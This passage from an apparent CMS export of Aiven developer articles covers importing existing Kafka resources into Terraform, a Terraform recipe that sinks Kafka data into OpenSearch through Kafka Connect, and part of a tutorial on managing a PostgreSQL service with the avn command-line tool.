provider plugin and necessary dependencies.\n\nAiven Terraform Provider needs two inputs to execute the plan. You can either pass these values in a .tfvars file or export these as environment variables. Let’s go with exporting these values as environment variables. \n\nRun the following in a terminal:\n\n```shell\nexport TF_VAR_aiven_api_token=YOUR_API_TOKEN_GOES_HERE\n\nexport TF_VAR_project_name=YOUR_AIVEN_PROJECT_NAME_GOES_HERE\n```\n\nWe’ll start by importing the Kafka service first, since the other two resources depend on this resource. Following the **terraform import** command options, for the ADDR field, we have to pass the resource specification that includes a resource type and name. For the ID field, we have to specify the Aiven resource-specific ID to identify that resource being imported. \n\nExecute the following command to import the Kafka resource. Your Aiven service name is what you named your Kafka service when creating it.\n\n```terraform\nterraform import aiven_kafka.imported-kafka-service AIVEN_PROJECT_NAME/AIVEN_SERVICE_NAME\n```\nFor example,\n\n```terraform\nterraform import aiven_kafka.imported-kafka-service devrel-dewan/dewan-kafka-demo\n```\n\nHere, `aiven_kafka.imported-kafka-service` is coming from the *services.tf* file, i.e. the placeholder for the imported resource to go in. For the ID field, `devrel-dewan` indicates the Aiven project name and `dewan-kafka-demo` is a specific resource under that project. Together, `devrel-dewan/dewan-kafka-demo` uniquely identifies a resource on the Aiven platform. Please change these two values based on your project and service names.\n\nResults of a successful terraform import command:\n\n``` shell\naiven_kafka.imported-kafka-service: Importing from ID \"devrel-dewan/dewan-kafka-demo\"...\naiven_kafka.imported-kafka-service: Import prepared!\n  Prepared aiven_kafka for import\naiven_kafka.imported-kafka-service: Refreshing state... [id=devrel-dewan/dewan-kafka-demo]\n\nImport successful!\n\nThe resources that were imported are shown above. These resources are now in your Terraform state and will henceforth be managed by Terraform.\n```\n\nYou’ll also notice that a `terraform.tfstate` file magically appeared in your directory. This state file has all the information on the Kafka service you just imported. If you look at the `services.tf` file, nothing should have changed. `terraform import` doesn’t automatically populate your Terraform resource definitions. Importing a resource does not modify the resource itself, but only updates the Terraform state to reflect its current state. To make changes to the resource, you'll need to write a Terraform configuration that specifies the desired state, and then apply it with the terraform apply command.\n\nLet’s add the important details to the `services.tf` file from the `terraform.tfstate` file. \n\nWe are looking to find the values of four key variables: **service_name**, **project**, **plan**, and **cloud_name**. You can either go through the `terraform.tfstate` for these values or parse the values directly like this:\n\n```shell\ncat terraform.tfstate| jq '.resources[0].instances[0].attributes.service_name'\ncat terraform.tfstate| jq '.resources[0].instances[0].attributes.project'\ncat terraform.tfstate| jq '.resources[0].instances[0].attributes.plan'\ncat terraform.tfstate| jq '.resources[0].instances[0].attributes.cloud_name'\n\n```\n\nNow, populate the `services.tf` file with these values.\n\n```terraform\n# Kafka service\nresource \"aiven_kafka\" \"imported-kafka-service\" {\n    service_name = AIVEN_SERVICE_NAME\n    project = AIVEN_PROJECT_NAME\n    plan = \"startup-2\"\n    cloud_name = \"google-northamerica-northeast1\"\n}\n```\n\nFor example,\n\n```terraform\n# Kafka service\nresource \"aiven_kafka\" \"imported-kafka-service\" {\n    service_name = “dewan-kafka-demo”\n    project = “devrel-dewan”\n    plan = \"startup-2\"\n    cloud_name = \"google-northamerica-northeast1\"\n}\n```\n\nNow, run `terraform plan`.\n\nIf all goes well, you should see:\n\n```shell\nNo changes. Your infrastructure matches the configuration.\n```\n\nWhat if you see that Terraform is planning to do some changes based on the `terraform plan`? That would mean that you need to align your resource block even more. Identify the parameter on which Terraform is showing the difference. Then update the `service.tf` file based on the values of the `terraform.tfstate` file.\n\nAs of now, we have partially imported our services. Let’s import Kafka user and Kafka topic in a similar way.\n\nAdd the following block to `services.tf` file:\n\n```terraform\n#Kafka topic\n\nresource \"aiven_kafka_topic\" \"imported-kafka-topic\" {\n\n}\n\n# Kafka user\n\nresource \"aiven_kafka_user\" \"imported-kafka-user\" {\n\n}\n```\n\nRun:\n\n```shell\nterraform import aiven_kafka_user.imported-kafka-user AIVEN_PROJECT_NAME/AIVEN_SERVICE_NAME/KAFKA_USERNAME\n\nterraform import aiven_kafka_topic.imported-kafka-topic AIVEN_PROJECT_NAME/AIVEN_SERVICE_NAME/KAFKA_TOPIC_NAME\n\n```\n\nFor example,\n\n```shell\nterraform import aiven_kafka_user.imported-kafka-user devrel-dewan/dewan-kafka-demo/dewan\n\nterraform import aiven_kafka_topic.imported-kafka-topic devrel-dewan/dewan-kafka-demo/demo-topic\n\n```\n\nPopulate the empty kafka user and kafka topic resources with the necessary details from `terraform.tfstate`:\n\n```terraform\n# Kafka topic\n\nresource \"aiven_kafka_topic\" \"imported-kafka-topic\" {\n  project      = AIVEN_PROJECT_NAME\n  service_name = AIVEN_SERVICE_NAME\n  topic_name   = KAFKA_TOPIC_NAME\n  partitions   = 1\n  replication  = 2\n}\n\n# Kafka user\n\nresource \"aiven_kafka_user\" \"imported-kafka-user\" {\n  service_name = AIVEN_SERVICE_NAME\n  project      = AIVEN_PROJECT_NAME\n  username     = KAFKA_USERNAME\n  password     = PASSWORD_FOR_KAFKA_USERNAME\n}\n\n```\n\n\nFor example,\n\n```terraform\n# Kafka topic\n\nresource \"aiven_kafka_topic\" \"imported-kafka-topic\" {\n  project      = \"devrel-dewan\"\n  service_name = \"dewan-kafka-demo\"\n  topic_name   = \"demo-topic\"\n  partitions   = 1\n  replication  = 2\n}\n\n# Kafka user\n\nresource \"aiven_kafka_user\" \"imported-kafka-user\" {\n    project      = \"devrel-dewan\"  \n    service_name = \"dewan-kafka-demo\"\n    username     = \"dewan\"\n    password     = \"AVNS_4HLcO5pYfP-fZYep1bI\"\n}\n```\n\nA note that the specific configuration like username, password, topic partitions and replication will be different for your case. The values above are shown as examples only and the credentials are not valid ones.\n\nNow that you have updated the `services.tf` file according to the `terraform.tfstate` file, run `terraform plan` followed by `terraform apply`.\n\nYou should see the following in your console:\n\n```shell\ndewan.ahmed@Dewans-MacBook-Pro temp % terraform apply\naiven_kafka_user.imported-kafka-user: Refreshing state... [id=devrel-dewan/dewan-kafka-demo/dewan]\naiven_kafka_topic.imported-kafka-topic: Refreshing state... [id=devrel-dewan/dewan-kafka-demo/demo-topic]\naiven_kafka.imported-kafka-service: Refreshing state... [id=devrel-dewan/dewan-kafka-demo]\n\nNo changes. Your infrastructure matches the configuration.\n\nTerraform has compared your real infrastructure against your configuration and found no differences, so\nno changes are needed.\n\nApply complete! Resources: 0 added, 0 changed, 0 destroyed.\n```\n\nCongratulations! You have successfully imported resources that were created outside of Terraform under Terraform management.\n\n## The limitations\n\nThere are certain cases where you don’t want to import resources to Terraform. If you create a service that is for testing purposes and will be short-lived, the console will be a faster route to do that. \n\nIf you’re planning to import multiple resources together, it is not supported. The `terraform import` command can only import one resource at a time. It cannot simultaneously import an entire collection of resources, like an Aiven for Apache Kafka with a topic resource and a Kafka user resource. \n\n## Wrap up\n\nThe `terraform import` command is a powerful tool for quickly bringing existing infrastructure under Terraform management. By automating the process of generating Terraform configuration for existing resources, it can save you a significant amount of time and effort, and ensure that your Terraform configuration accurately reflects the state of your infrastructure. If you're already using Terraform, I highly recommend giving Terraform import a try.\n\nTerraform is a powerful tool used by many of Aiven’s biggest customers to manage their infrastructure declaratively and in a centralized manner. As such, we’ve created the [Aiven Terraform provider](https://aiven.io/docs/tools/terraform) and the [Aiven Terraform Cookbook](https://aiven.io/docs/tools/terraform/reference/cookbook) to help you with common configuration concerns. \n\nWe also recommend trying the [Aiven Operator for Kubernetes®](https://aiven.io/docs/tools/kubernetes) for those looking to manage Aiven as a part of a Kubernetes deployment. \n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-04-07T12:44:44.484Z"},"internalTags":[{"_key":"4e1fc34dc6ba","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"}],"publishedAt":"2023-04-03T10:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Scaling up? Learn how to retroactively manage your data platforms with Terraform. Improve your workflows today and visit the Aiven Developer Center!","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0522693d9f9b64c53e74584d8dbd1a62b8aa3c1f-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/import-your-existing-data-platform-using-terraform"},"subtitle":"Scaling up? Learn how to retroactively manage your data platforms with Terraform","tags":[{"_key":"f4be53ba6eeb","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"073c7338d83d","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"a8ecec67fe10","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Import your existing data platform using Terraform"}
{"__i18n_lang":"en","_createdAt":"2023-08-16T13:14:08Z","_id":"a079f3cf-69be-4348-b899-ad2f79d55791","_rev":"lhvtNBOlLYH5KiQFQ8ZQpP","_type":"devArticle","_updatedAt":"2024-01-29T15:48:40Z","body":"This example shows how to use an Apache Kafka® Connector to take data from Kafka and ingest it into OpenSearch® using [Apache Kafka Connect](https://aiven.io/docs/products/kafka/kafka-connect). As a use case, the data here is application logs going onto a Kafka topic, and being put into OpenSearch for short term storage and easy inspection, if needed.\nAiven has a concept of service integrations to manage the relationships between components. [Aiven Terraform Provider](https://registry.terraform.io/providers/aiven/aiven/latest/docs)\nhas a specific resource type in Terraform for service integration. \n\nBefore looking at the Terraform script, let's visually realize how the services will be connected:\n\n:::mermaid\n\n   flowchart LR\n      kafka[Kafka]\n      sikafka{{Service Integration}}\n      kconn[Kafka Connect]\n      kcopensearch{{Kafka Connector:\u003cbr /\u003e OpenSearch Sink}}\n      opensearch[OpenSearch]\n      kafka --\u003e sikafka --\u003e kconn --\u003e kcopensearch --\u003e opensearch\n\n:::\n\nIn the above diagram, *KafkaConnect* is the service that you create for connecting Kafka with external systems. The Kafka Connectors, *OpenSearch Sink Connector* for example, are ready-to-use components to send/receive data to common data sources/sinks. \n\n## Describe the setup\n\nBe sure to check out the [getting started guide](https://aiven.io/docs/tools/terraform/get-started) to learn about the common files required to execute the following recipe. For example, you'll need to declare the variables for ``project_name`` and ``api_token``.\n\n## Common files\n\nNavigate to a new folder and add the following files.\n\nAdd the following to a new ``provider.tf`` file:\n\n```toml\n    terraform {\n      required_providers {\n        aiven = {\n          source  = \"aiven/aiven\"\n          version = \"\u003e=4.0.0, \u003c 5.0.0\"\n        }\n      }\n    }\n\n    provider \"aiven\" {\n      api_token = var.aiven_api_token\n    }\n```\n   \nYou can also set the environment variable ``TF_VAR_aiven_api_token`` for the ``api_token`` property. With this, you don't need to pass the ``-var-file`` flag when executing Terraform commands.\n \n\nTo avoid including sensitive information in source control, the variables are defined here in the ``variables.tf`` file. You can then use a ``*.tfvars`` file with the actual values so that Terraform receives the values during runtime, and exclude it.\n\nThe ``variables.tf`` file defines the API token, the project name to use, and the prefix for the service name:\n\n```toml\nvariable \"aiven_api_token\" {\n  description = \"Aiven console API token\"\n  type        = string\n}\n\nvariable \"project_name\" {\n  description = \"Aiven console project name\"\n  type        = string\n}\n```\n   \nThe ``var-values.tfvars`` file holds the actual values and is passed to Terraform using the ``-var-file=`` flag.\n\n``var-values.tfvars`` file:\n\n```toml\naiven_api_token     = \"\u003cYOUR-AIVEN-AUTHENTICATION-TOKEN-GOES-HERE\u003e\"\nproject_name        = \"\u003cYOUR-AIVEN-CONSOLE-PROJECT-NAME-GOES-HERE\u003e\"\n```\n\n## Services.tf file\n\nHere is the sample Terraform file to stand-up and connect all the services. Keep in mind that some parameters and configurations will vary for your case. A reference to the Kafka and OpenSearch configurations are added at the end of this document.\n\n``services.tf`` file:\n\n```toml  \n# Kafka service\nresource \"aiven_kafka\" \"application-logs\" {\n  project                 = var.project_name\n  cloud_name              = \"google-northamerica-northeast1\"\n  plan                    = \"business-4\"\n  service_name            = \"kafka-application-logs\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n  kafka_user_config {\n      kafka_connect = true\n      kafka_rest    = true\n      kafka_version = \"3.4\"\n      kafka {\n      group_max_session_timeout_ms = 70000\n      log_retention_bytes          = 1000000000\n      }\n  }\n}\n\n# Kafka topic\nresource \"aiven_kafka_topic\" \"topic-logs-app-1\" {\n  project      = var.project_name\n  service_name = aiven_kafka.application-logs.service_name\n  topic_name   = \"logs-app-1\"\n  partitions   = 3\n  replication  = 2\n}\n\n# Kafka connect service\nresource \"aiven_kafka_connect\" \"logs-connector\" {\n  project                 = var.project_name\n  cloud_name              = \"google-northamerica-northeast1\"\n  plan                    = \"business-4\"\n  service_name            = \"kafka-connect-logs-connector\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n  kafka_connect_user_config {\n      kafka_connect {\n        consumer_isolation_level = \"read_committed\"\n      }\n      public_access {\n        kafka_connect = true\n      }\n  }\n}\n\n# Kafka connect service integration\nresource \"aiven_service_integration\" \"kafka-to-logs-connector\" {\n  project                  = var.project_name\n  integration_type         = \"kafka_connect\"\n  source_service_name      = aiven_kafka.application-logs.service_name\n  destination_service_name = aiven_kafka_connect.logs-connector.service_name\n  kafka_connect_user_config {\n      kafka_connect {\n        group_id             = \"connect\"\n        status_storage_topic = \"__connect_status\"\n        offset_storage_topic = \"__connect_offsets\"\n      }\n  }\n}\n\n# Kafka connector\nresource \"aiven_kafka_connector\" \"kafka-os-con1\" {\n  project        = var.project_name\n  service_name   = aiven_kafka.application-logs.service_name\n  connector_name = \"kafka-os-con1\"\n  config = {\n      \"topics\"                         = aiven_kafka_topic.topic-logs-app-1.topic_name\n      \"connector.class\"                = \"io.aiven.kafka.connect.opensearch.OpensearchSinkConnector\"\n      \"type.name\"                      = \"os-connector\"\n      \"name\"                           = \"kafka-os-con1\"\n      \"connection.url\"                 = \"https://${aiven_opensearch.os-service1.service_host}:${aiven_opensearch.os-service1.service_port}\"\n      \"connection.username\"            = sensitive(aiven_opensearch.os-service1.service_username)\n      \"connection.password\"            = sensitive(aiven_opensearch.os-service1.service_password)\n      \"key.converter\"                  = \"org.apache.kafka.connect.storage.StringConverter\"\n      \"value.converter\"                = \"org.apache.kafka.connect.json.JsonConverter\"\n      \"tasks.max\"                      = 1\n      \"schema.ignore\"                  = true\n      \"value.converter.schemas.enable\" = false\n  }\n}\n\n# Opensearch service\nresource \"aiven_opensearch\" \"os-service1\" {\n  project                 = var.project_name\n  cloud_name              = \"google-northamerica-northeast1\"\n  plan                    = \"business-4\"\n  service_name            = \"os-service1\"\n  maintenance_window_dow  = \"monday\"\n  maintenance_window_time = \"10:00:00\"\n  opensearch_user_config {\n      opensearch_version = \"2\"\n  }\n}\n```\n\n# Execute the files\n\nThe ``init`` command performs several different initialization steps in order to prepare the current working directory for use with Terraform. In our case, this command automatically finds, downloads, and installs the necessary Aiven Terraform provider plugins.\n    \n```shell\nterraform init\n```\n\nThe ``plan`` command creates an execution plan and shows you the resources that will be created (or modified) for you. This command does not actually create any resource; this is more like a preview.\n\n```bash\nterraform plan -var-file=var-values.tfvars\n```\n\nIf you're satisfied with the output of ``terraform plan``, go ahead and run the ``terraform apply`` command which actually does the task or creating (or modifying) your infrastructure resources. \n\n```bash\nterraform apply -var-file=var-values.tfvars\n```\n           \nThis file creates three Aiven services - a Kafka service, a Kafka Connect service, and an OpenSearch service. Two service integrations among these three services and a Kafka topic within the Kafka service will also be created from this Terraform file.\nTo validate, produce some messages on the Kafka topic and you should be seeing those appear on OpenSearch indices.\n\n## More resources\n\nYou might find these related resources useful too:\n\n- [Configuration options for Kafka](https://aiven.io/docs/products/kafka/reference/advanced-params.html)\n- [Configuration options for OpenSearch](https://aiven.io/docs/products/opensearch/reference/advanced-params.html)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-23T13:13:18.345Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"0bf9fec103e9","_ref":"3d8ecd72-b886-4aaa-b207-2fbafc931f22","_type":"tag"}],"publishedAt":"2023-08-16T07:44:06.381Z","seo":{"_type":"metaData","metaDescription":"Learn how to connect Apache Kafka® to OpenSearch® with Terraform. Improve your workflows today and find out more in the Aiven Developer Center!","metaImage":{"_type":"mainImage","alt":"Connect Apache Kafka to OpenSearch with Terraform","asset":{"_ref":"image-4888da7cef670e4a85349180a212407e40d45136-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/apache-kafka-to-opensearch-terraform"},"subtitle":"Use Terraform to connect Apache Kafka® to OpenSearch®. A part of Aiven's Terraform Cookbook series.","tags":[{"_key":"c6ba1c8f1422","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"5fde2a9761af","_ref":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_type":"tag"}],"title":"Connect Apache Kafka® to OpenSearch® with Terraform"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T07:04:43Z","_id":"1fc54e6e-ccc7-4293-95c6-575812bf968b","_rev":"lToOrzsceUYtLq3U2SG1vj","_type":"devArticle","_updatedAt":"2024-07-17T08:15:53Z","body":"## The Aiven command line\n\nGUIs (Graphical User Interfaces) like the [Aiven web\nconsole](https://console.aiven.io/) are a very approachable way to interact with systems,\nespecially since they can guide you towards the actions you might want to do.\nWhen it comes to repeatability and automation however, these interfaces have limitations.\n\nLuckily, almost every action available in the web console is also possible\nusing the open source `avn` CLI tool,\n[aiven-client](https://github.com/aiven/aiven-client). This tool is also heavily used\nwithin Aiven itself, which means that it is well supported and gains new\nservice management features regularly.\n\nIn this article I will lead you through some common operations, using a\nPosgreSQL® service as an example.\n\n### Install `avn`\n\nFollowing the instructions at [Aiven CLI: Getting\nstarted](https://aiven.io/docs/tools/cli), install the Aiven\nCLI tool with `pip`:\n\n```\npip install aiven-client\n```\n\nA fun way to check that the command is working is with this special feature:\n\n```\navn crab\n```\n\nThis will give you a nice piece of ASCII art.\n\n### Get help with the `avn` command\n\nYou can get help from `avn` in a few different ways.\n\nTo get general help on how to use the command, including a summary of the switches\nthe command accepts, and a list of the top-level subcommands:\n\n```\navn --help\n```\n\nYou can also get help on specific commands by adding `--help` to the end of\nthe command line. For example to get some help with how to use the `avn user login` command:\n\n```\navn user login --help\n```\n\nYou can get a (long) list of all the `avn` commands and a brief note of what\nthey each do by using:\n\n```\navn help\n```\n\nThis can be useful if you're trying to \"guess\" what command to use.\n\nFor instance, here's a part of the output relating to PostgreSQL®,\nshowing us the commands to retrieve the service connection information\nas a string, as a URI, or in the format that `psql` needs:\n\n```\nservice connection-info pg string             PostgreSQL connection string\nservice connection-info pg uri                PostgreSQL service URI\nservice connection-info psql                  psql command string\n```\n\n### Get an account\n\nIf you've already got an Aiven account, then you're ready to go.\n\nOtherwise, you can [sign up at the Aiven console](https://console.aiven.io/signup?utm_source=blog\u0026utm_medium=organic\u0026utm_campaign=blog_avn_cmdline) - either for a [free plan](https://aiven.io/docs/platform/concepts/free-plan) or for a free trial.\n\n### Log in to Aiven with `avn`\n\nMost `avn` commands require authentication.\nAt the command line, this is normally done by logging in with an\nauthentication token.\n\nUsing a token rather than username and password is considered good practice. \nTokens can be limited to a specific time period, and they can also\nbe revoked, removing access only for those using that token, without affecting\nother use cases. Resetting a password would have a much wider impact.\n\n::alert[By default, logging in to Aiven with a password is not enabled. See [Enable Aiven password](https://aiven.io/docs/platform/howto/enable-aiven-password) if you really need it.]\n\nGet an authentication token, as described at [Create an authentication\ntoken](https://aiven.io/docs/platform/howto/create_authentication_token),\ncopy it, and log in using the following command. You'll need to replace\n`YOUR-EMAIL-ADDRESS` with the email address you've registered with Aiven.\n\n```\navn user login YOUR-EMAIL-ADDRESS --token\n```\n\nThis will prompt you to paste in your token, and then report that it has\nsaved your credentials to a JSON file on your filesystem.\n\n::alert[An alternative to logging in is to specify the authentication token with each command. This approach can be useful in a script, where you would set an environment variable (for instance, `AVN_AUTH_TOKEN`) to the token, and then write each command as `avn --auth-token $AVN_AUTH_TOKEN ...`]\n\n### Choose a project\n\nAiven uses \"projects\" to organise which services you can access. You can get a\nlist of the projects that you have access to, their default clouds, and some\ninformation on payments with a command like this:\n\n```\navn project list\n```\n\nFor instance, as a Developer Educator at Aiven, I see output something like the following:\n\n```\nPROJECT_NAME   DEFAULT_CLOUD        CREDIT_CARD\n=============  ===================  ===========\ndev-advocates  google-europe-west3  N/A\n```\n\nOnce you know which project you're going to be using, you can select it, replacing\n`PROJECT-NAME` with the name of the actual project:\n\n```\navn project switch PROJECT-NAME\n```\n\nThis makes that the default project for future commands.\n\n::alert[Commands will generally also take a `--project` switch if you want to use a project without selecting it.]\n\n### Find out about a project\n\nTo find out more about a project:\n\n```\navn project details\n```\n\nThis will typically show the default cloud for the project, its billing\ncurrency, and maybe details of the VAT ID being used, the billing address and\ncredit card data (if appropriate).\n\n```\nPROJECT_NAME   DEFAULT_CLOUD     BILLING_CURRENCY  VAT_ID\n=============  ================  ================  ==========\ndev-advocates  aws-eu-west-1     EUR               FIxxxxxxxx\n    credit_card     = N/A\n    billing_address = \"Some address, somewhere\"\n    country_code    = FI\n```\n\n### Get JSON data\n\nCommands that return data also take a `--json` switch, which causes them to\nreturn their data in JSON. This often includes more information than is\nprovided by the standard text output. For instance altering our earlier command to include the switch:\n\n```\navn project details --json\n```\n\nThis version gives a lot more detail, including account name and id, available credits and\ncurrent estimated balance.\n\nSometimes the data produced with `--json` can be overwhelming, especially if\nyou're only looking for one particular field. In that case, it can be useful\nto pipe the JSON output into the [jq](https://stedolan.github.io/jq/) tool,\nand use a query to select just the information you want.\n\nFor instance, to find the name of the default cloud for the current project, do:\n\n```\navn project details --json | jq '.[] | .default_cloud'\n```\n\nThe command returns just the name of the cloud.\n\n### Find out what services are available\n\nYou can find out what services (PostgreSQL®, Apache Kafka®, OpenSearch®, etc.)\nare available for the current project with this command:\n\n```\navn service types\n```\n\nThis will will list the services and the abbreviation used for each service\ntype.\n\nFor instance, the entry for PostgreSQL looks like this:\n\n```\npg      PostgreSQL - Object-Relational Database Management System\n```\n\nSince PostgreSQL is such an excellent database, we're going to create a `pg` service and show off some more `avn` commands.\n\n### Find a cloud\n\nIn order to create a new service, you need to decide what region you want it\nto run in, and what capabilities you need. To find out what clouds and regions\nare available:\n\n```\navn cloud list\n```\n\nThis will show the available clouds and information about them - specifically,\na description of the cloud, its name, its location (as latitude and longitude)\nand its region.\n\nThe output will be lines looking something like:\n\n```\nEurope, Belgium - Google Cloud: Belgium     google-europe-west1     50.45    3.82     europe\n```\n\nUsing the `--json` switch and `jq` can help if you want to get more\ndetails of just part of the information. For instance, to find the information\nfor all the services in `europe`, try this:\n\n```\navn cloud list --json | jq '.[] | select(.geo_region==\"europe\")'\n```\n\nYou should see a list of entries like the one below:\n\n```\n{\n  \"cloud_description\": \"Europe, Finland - Google Cloud: Finland\",\n  \"cloud_name\": \"google-europe-north1\",\n  \"geo_latitude\": 60.5693,\n  \"geo_longitude\": 27.1878,\n  \"geo_region\": \"europe\"\n}\n```\n\nTo get just that particular entry, you could use:\n\n```\navn cloud list --json | jq '.[] | select(.cloud_name==\"google-europe-north1\")'\n```\n\n### Find a service plan\n\nAiven uses \"service plans\" to define the number of servers and what kind of\nmemory, CPU, and disk resources are allocated to your service.\n\nTo get a list of the available service plans for PostgreSQL in the cloud\n`google-europe-north1`, including the plan name, its cost and what resources\nit provides, use this command:\n\n```\navn service plans --service-type pg --cloud google-europe-north1\n```\n\nHere's part of the output I get:\n\n```\nPostgreSQL - Object-Relational Database Management System Plans\n\n    pg:hobbyist                    $0.026/h  Hobbyist (1 CPU, 2 GB RAM, 8 GB disk)\n    pg:startup-4                   $0.103/h  Startup-4 (1 CPU, 4 GB RAM, 80-240 GB disk)\n    pg:startup-8                   $0.205/h  Startup-8 (2 CPU, 8 GB RAM, 175-525 GB disk)\n```\n\nIt's worth trying different clouds to see how pricing differs between them.\n\n::alert[The price quoted is all inclusive (although some services also allow [the purchase of extra storage space](https://aiven.io/docs/platform/howto/add-storage-space)).]\n\n### Create a PostgreSQL® service\n\nFor this first service creation, create a PostgreSQL service on the Finnish\nGoogle cloud at the Hobbyist level.\n\nIt's important to give the service a unique name - I like to put my own\nname into it, but you should use your own! Beware that the name can't be\nchanged after you've created the service.\n\n```\navn service create YOUR-NAME-demo-pg --service-type pg \\\n    --cloud google-europe-north1 --plan hobbyist\n```\n\nThe command will return immediately. Meanwhile, Aiven will start creating the service, which will take a little while to build.\n\n::alert[If your target cloud includes VPCs (virtual private clouds) then it is safest to be explicit whether you want to create the new service in the VPC or not. See [`avn vpc list`](https://aiven.io/docs/tools/cli/vpc#avn-vpc-list) if you're not sure if your project has VPCs, and [`avn service create`](https://aiven.io/docs/tools/cli/service#avn-service-create) for the VPC related switches, specifically `--no-project-vpc` and `--project-vpc-id PROJECT_VPC_ID`]\n\nIf you want to wait for the service to start, you can use the `wait` command for the service:\n\n```\navn service wait YOUR-NAME-demo-pg\n```\n\nThis will report the progress of the newly-created service as it comes up.\n\n```\nINFO\tService 'YOUR-NAME-demo-pg' state is now 'REBUILDING'\nINFO\tWaiting for services to start\n...\nINFO\tWaiting for services to start\nINFO\tService 'YOUR-NAME-demo-pg' state is now 'RUNNING'\nINFO\tService(s) RUNNING: YOUR-NAME-demo-pg\n```\n\nThe command will return when the service is `RUNNING` (the `...` means there might be multiple \"Waiting\" messages).\nThe `wait` command is especially useful in a script, when you have another command to run when things are ready.\n\nYou can explicitly check the state of the service, as well as other\ninformation:\n\n```\navn service get YOUR-NAME-demo-pg\n```\n\nThis returns service information like this:\n\n```\nSERVICE_NAME       SERVICE_TYPE  STATE       CLOUD_NAME            PLAN      CREATE_TIME           UPDATE_TIME           NOTIFICATIONS\n=================  ============  ==========  ====================  ========  ====================  ====================  =============\nYOUR-NAME-demo-pg  pg            REBUILDING  google-europe-north1  hobbyist  2022-05-25T12:18:02Z  2022-05-25T12:18:43Z\n```\n\nIf you just want the current *state* of the service, use `--json` and `jq` as we did earlier to\nget the field you want from the output:\n\n```\navn service get YOUR-NAME-demo-pg --json | jq .state\n```\n\n### Interact with the PostgreSQL service\n\nOnce the PostgreSQL service is running, we can use the command line to\ninteract with it.\n\nTo find out what databases are present:\n\n```\navn service database-list YOUR-NAME-demo-pg\n```\n\nThis will just show the default database since we just created a new service:\n\n```\ndefaultdb\n```\n\nWe can create a new database using `avn`:\n\n```\navn service database-create YOUR-NAME-demo-pg --dbname database2\n```\n\nIf you list the databases again, the new one will appear:\n\n```\ndatabase2\ndefaultdb\n```\n\nSince this is a PostgreSQL database, we could get the connection details from `avn` \nand use them to connect to the\ndatabase:\n\n```\navn service get YOUR-NAME-demo-pg --json | jq .service_uri_params\n```\n\nBut it's probably easier to use the built-in helper:\n\n```\navn service cli YOUR-NAME-demo-pg\n```\n\nThis will run the appropriate CLI for the service - for our PostgreSQL service, that means `psql`.\n\nFinally for this section, I like to know the backup status of services I'm\nusing. I can get a list of when backups were made and what region they're\nstored in with:\n\n```\navn service backup-list YOUR-NAME-demo-pg\n```\n\n::alert[Backup handling differs from service to service and from plan to plan. See [Backups at Aiven](https://aiven.io/docs/platform/concepts/service_backups) for an overview, and [PostgreSQL® backups](https://aiven.io/docs/products/postgresql/concepts/pg-backups) if you just want the PostgreSQL specifics.]\n\n### Change plan, cloud and region\n\nWe created our PostgreSQL service using the Hobbyist plan. That's fine for\ntrying out a service, but it's definitely not suitable for production\nuse.\n\nThe `avn service update` command allows us to change the details of our service.\n\nTo update to a `Startup-8` plan running on AWS in Ireland (`aws-eu-west-1`):\n\n```\navn service update YOUR-NAME-demo-pg --plan startup-8 --cloud aws-eu-west-1\n```\n\nThis will take a little while, because it has to start a new service with a\ncopy of the original data. How long it takes will depend on the amount of\ndata, and how busy the systems are. As before, you can use `avn service get`\nor `avn service wait` to tell when it has finished. See the documentation for\n[Migrate\nservices](https://aiven.io/docs/platform/howto/list-service) and\n[Scale your\nservice](https://aiven.io/docs/platform/howto/scale-services). (Aiven takes care that there is no service interruption during a change like\nthis).\n\nOnce the service is `RUNNING` again, check the new plan and location:\n\n```\navn service get YOUR-NAME-demo-pg\n```\n\n### Keep things tidy\n\nIf you're not going to be using a service for a while, then powering it off\nwill stop you being charged for it:\n\n```\navn service update YOUR-NAME-demo-pg --power-off\n```\n\nThe command won't return until the service is powered off.\n\n::alert[Some services that have \"event-like\" state, such as Apache Kafka® and Apache Flink®, will lose that state when they are powered off.]\n\nYou can power the service back on again by using the update command once more:\n\n```\navn service update YOUR-NAME-demo-pg --power-on\n```\n\nRemember it will take a while before the service returns to the `RUNNING` state.\n\nIf you no longer need the service, then delete it:\n\n```\navn service terminate YOUR-NAME-demo-pg\n```\n\nSince this will delete the service and all associated data, it prompts you to\ntype in the service name to confirm the operation.\n\n## Further reading\n\nWe barely scratched the surface of the available features in this tool. For more information, visit the Aiven documentation\nwhere you will find a whole section on [the Aiven CLI](https://aiven.io/docs/tools/cli).\n\nThe [README](https://github.com/aiven/aiven-client/blob/main/README.rst) for\nthe [Aiven Client GitHub repository](https://github.com/aiven/aiven-client)\nalso contains useful information and examples.\n\nThere's also an [Introduction to Aiven CLI](https://www.youtube.com/watch?v=nf3PPn5w6K8) video, which covers some of the same material.\n\nAnd for an example of using the Aiven CLI in a Bash script, see\n[Controlling non-production Aiven Services with the CLI](https://aiven-fly.fly.dev/developer/controlling-aiven-services-with-the-cli)\n\nAlternatively, try one of the other ways to work with the Aiven platform:\n\n* the [Aiven web console](https://console.aiven.io/)\n* the [Aiven API](https://aiven.io/docs/tools/api) - this is what\n  the command line tool and the web console use to communicate with the Aiven platform\n* [Terraform and the Aiven Terraform provider](https://aiven.io/docs/tools/terraform)\n* [Kubernetes® and Aiven Operator for 